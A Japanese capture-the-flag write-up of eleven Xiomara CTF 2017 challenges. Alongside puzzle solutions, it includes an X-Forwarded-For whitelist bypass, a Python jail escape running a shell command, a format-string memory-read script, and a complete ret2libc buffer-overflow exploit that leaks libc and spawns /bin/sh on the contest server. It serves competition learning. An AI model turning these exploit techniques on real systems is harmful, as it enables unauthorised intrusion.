チーム Harekaze で Xiomara CTF 2017 に参加しました。最終的にチームで 1576 点を獲得し、順位は 16 15 位 (得点 335 334 チーム中) でした。うち、私は 11 問を解いて 1375 点を入れました。
以下、解いた問題の write-up です。
与えられた URL を開くと /troll.html
にリダイレクトされてしまいます。/hook.js
というファイルが読み込まれているようなので見てみると、JSF**k で難読化された catch_me()
という関数と /troll.html
にリダイレクトする処理が書かれていました。
JSF**k で難読化されている部分を取り出して実行してみると alert(Xiomara{i_4gr33_Y0U_4r3_a_Flash!}))
という文字列が出てきました。
xiomara{i_4gr33_Y0U_4r3_a_Flash!}
与えられた URL を開くと No interesting content found !!
とありました。/robot.txt
を開くと
User-agent:*
Disallow: /flags/
Disallow: /more_flags/
Disallow: /more_and_more_flags/
Disallow: /no_flag/
とありました。/no_flag/
を開くと /no_flag/flag.txt
を iframe で開いているようでした。/no_flag/flag.txt
は
str = str.replace(/http:/g, "^^^");
str = str.replace(/bin/g, "*^$#!")
str= str.replace(/com/g, "*%=_()");
str= str.replace(/paste/g, "~~@;;");
というようなエンコードがされているようなので元に戻すと http://pastebin.com/SwzEKazp
という URL が出てきました。開いてみると…どうやらすでに削除されてしまっているようです。
Internet Archive で調べてみると、アーカイブされていました。
xiomara{1_4m_mr_r0b07}
与えられた URL を開くと、どうやら私の IP アドレスはホワイトリストに入っていないようでアクセスが拒否されてしまいました。
X-Forwarded-For: 127.0.0.1
を付与してみると、表示される IP アドレスが 127.0.0.1
に変わりました。さらに ctf.xiomara.xyz
の IP アドレスに変えてみるとアクセスが許可されました。
/8226ceffa74f527226c39f26ed6b0b88/
にリダイレクトされたので調べていると、/8226ceffa74f527226c39f26ed6b0b88/assets/js/main.js
にフラグがありました。
xiomara{pr3f3r_sm@rtw@y_th@n_h@rdw@y}
何度かクイズに答える問題でした。
Mr.X targeted Yahoo on February 7, 2000. His attack was based on DDOS(Denial of service attack). What was the name of his project?
ググると MafiaBoy - Wikipedia がヒットしました。答えは Rivolta
でした。
Mr.X own google.com but he is not the actual owner.So google pays Mr.X for their mistake in order to get their domain back.
ググると How I Ended Up Purchasing & Owning Google.com via Google Domains | Sanmay Ved | Pulse | LinkedIn という記事がヒットしました。答えは Agency Development Manager
でした。
Mr.x dead. Federal grand jury on charges of wire fraud, computer fraud. MIT .
アーロン・スワーツ。答えは Guerilla Open Access Manifesto
でした。
Coder Arnold
IT’S SHOWTIME TALK TO THE HAND “Give me the flag!” YOU HAVE BEEN TERMINATED
lhartikk/ArnoldC。答えは Lauri Hartikka
でした。
worm. PLC Step 7. VirusBlokAda .
Stuxnet。答えは Rootkit.Tmphider
でした。
xiomara{g00gl3_i5_h@ck3r5_b35t_fri3nd}
延々 Dota 2 のアイテムについての質問がされます。dota2api/items.json at master · joshuaduffy/dota2api を使って自動化しちゃいましょう。
import json
import re
from pwn import *
s = remote('139.59.61.220', 6666)
s.recvuntil('Do you dota?\n\n')
items = json.load(open('items.json'))['items']
while True:
r = s.recv()
if 'Can haz cost' in r:
r = re.findall(r'Can haz cost of (.+) \?', r)[0]
for item in items:
if r == item['localized_name']:
cost = item['cost']
s.sendline(str(cost))
break
elif 'Can haz internal name' in r:
r = re.findall(r'Can haz internal name of (.+) \?', r)[0]
for item in items:
if r == item['localized_name']:
name = item['name']
s.sendline(name)
break
else:
s.interactive()
s.close()
xiomara{D0t@_!s_l0v3_D0t@_!$_l!f3}
(255, 0, 0), (255, 0, 0) …
という感じで延々色情報っぽいものが続くテキストファイルが渡されます。
(
の個数を数えてみると 46656
でこの数は 216*216
です。幅が 216
高さが 216
の画像を作ってみます。
import re
from PIL import Image
w, h = 216, 216
s = open('fair-and-square.txt').read()
m = iter(re.findall(r'\((\d+), (\d+), (\d+)\)', s))
im = Image.new('RGB', (w, h))
for y in range(h):
for x in range(w):
r, g, b = next(m)
im.putpixel((x, y), (int(r), int(g), int(b)))
im.show()
im.save('result.png')
出てきた画像を Piet プログラムとして実行するとフラグが出力されました。
xiomara{piLet}
flag{this_is_a_fake_flag_dig_deeper_:(}
と \x1e\x05\x0e\n\x1a\x06\t\x12\no0,k\x13\x1a9U4\\-\x03XV8=T\x1c)h\x1d:\r%\x0bE\x1ah\t
を xor しているっぽい処理があります。やってみるとフラグが出てきました。
xiomara{y0Y_4rE_4_9re47_b0uN7y_hUn7ER!}
Python のバイトコードを逆アセンブルした結果が与えられました。同じようなことをするコードを書いてしまいましょう。
res = [0, -15, 6, -2, -12, 17, -17, 26, -4, -68, 44, 20, -6, -61, 59, -56, 44, 5, 5, -69, 61, -61, 0, 15, 58, -11, 10, -57, 49, -5, 13, -57, 0, 4, 70]
flag = ''
start = ord('x')
for x in res:
start += x
flag += chr(start)
print flag
xiomara{w3_sm0k3_di$a$$3mbl3d_l337}
PyJail 問でした。いろいろ試していると、'
はダメで "
は OK、.
はダメ、print が関数なので Python 3 であるといったことがわかります。
print(getattr(os, "system")("cat /home/pwn2/f*"))
でフラグが表示されました。
xiomara{$h3ll$_d0nT_l!3_wh3n_beat3n_uP_!n_j@!l}
%x
で Hola 400
が返ってきました。ユーザ入力をそのまま printf に投げているようです。
%6$s
で Hola I have got something interesting for you at 0x3c17980
と返ってきました。python -c 'import struct; print struct.pack("<I", 0x3c17980) + "%7$s"' | nc 139.59.61.220 52345
で 0x3c17980 を見てみると Hola ... Maybe try looking at 0x3c150a0
と返ってきました。
これが延々続くようなので自動化してしまいましょう。
from pwn import *
a = 0x3c17980
while True:
s = remote('139.59.61.220', 52345)
s.sendline(p32(a) + '%7$s')
r = s.recvall()
print repr(r)
try:
i = r.index('0x')
except:
break
a = int(r[i:], 16)
if a & 0xff == 0:
a += 1
s.close()
xiomara{anD_!_th0ught_f@k3_pr!nC3553s_@nn0y3d_m@R!0}
どんなバイナリか調べてみます。
$ file ./mint
mint: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b2d0f4bf730ad56e1ba3bc65815039a2ee02a009, stripped
$ checksec --file ./mint
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
$ ./mint
^^^^^^^^^^^^^^ Welcome to My Mini Text editor (Mint) ^^^^^^^^^^^^^^^^^^^^^^^^
[1] Add text
[2] Edit text
[3] Display text
[4] Exit
Enter ur option :1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter ur option :2
[1] Append text
[2] Overwrite
1
AAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Enter ur option :4
Segmentation fault
これで EIP が 0x42424242 になりました。
puts で GOT にある puts のアドレスをリークして libc のベースアドレスを計算 -> もう一度 main を呼んで -> 今度は system("/bin/sh")
という感じでいきましょう。
まずは関数と /bin/sh
のオフセットを調べましょう。
$ strings -a -tx ./libc-2.23.so | grep "/bin/sh"
15b82b /bin/sh
$ gdb ./libc-2.23.so
Reading symbols from ./libc-2.23.so...(no debugging symbols found)...done.
gdb-peda$ p/x &system
$1 = 0x3ada0
gdb-peda$ p/x &puts
$2 = 0x5fca0
gdb-peda$ p/x &gets
$3 = 0x5f3e0
exploit。
import re
from pwn import *
LOCAL = False
def send_payload(s, t):
m = re.findall(r'.{48}|.+', payload)
s.recvuntil('Enter ur option :' )
s.sendline('1')
s.sendline(m[0])
for a in m[1:]:
s.recvuntil('Enter ur option :' )
s.sendline('2')
s.recvuntil('[2] Overwrite\n')
s.sendline('1')
s.sendline(a)
s.recvuntil('Enter ur option :' )
s.sendline('4')
addr_main = 0x08048754
addr_puts = 0x08048420
addr_got_puts = 0x0804a018
if LOCAL:
offset_puts = 0x64d80
offset_system = 0x3e3e0
offset_binsh = 0x15fa69
s = process('./mint')
else:
offset_puts = 0x5fca0
offset_system = 0x3ada0
offset_binsh = 0x15b82b
s = remote('139.59.61.220', 42345)
# leak libc address
payload = ''
payload += 'A' * 74
payload += p32(addr_puts)
payload += p32(addr_main)
payload += p32(addr_got_puts)
send_payload(s, payload)
libc_base = u32(s.recvline()[:4]) - offset_puts
# shell!
payload = ''
payload += 'A' * 74
payload += p32(libc_base + offset_system)
payload += 'BBBB'
payload += p32(libc_base + offset_binsh)
send_payload(s, payload)
s.interactive()
s.close()
xiomara{cl!_ed!t0r_pwn!ng_!$_th3_n3w_$3xy}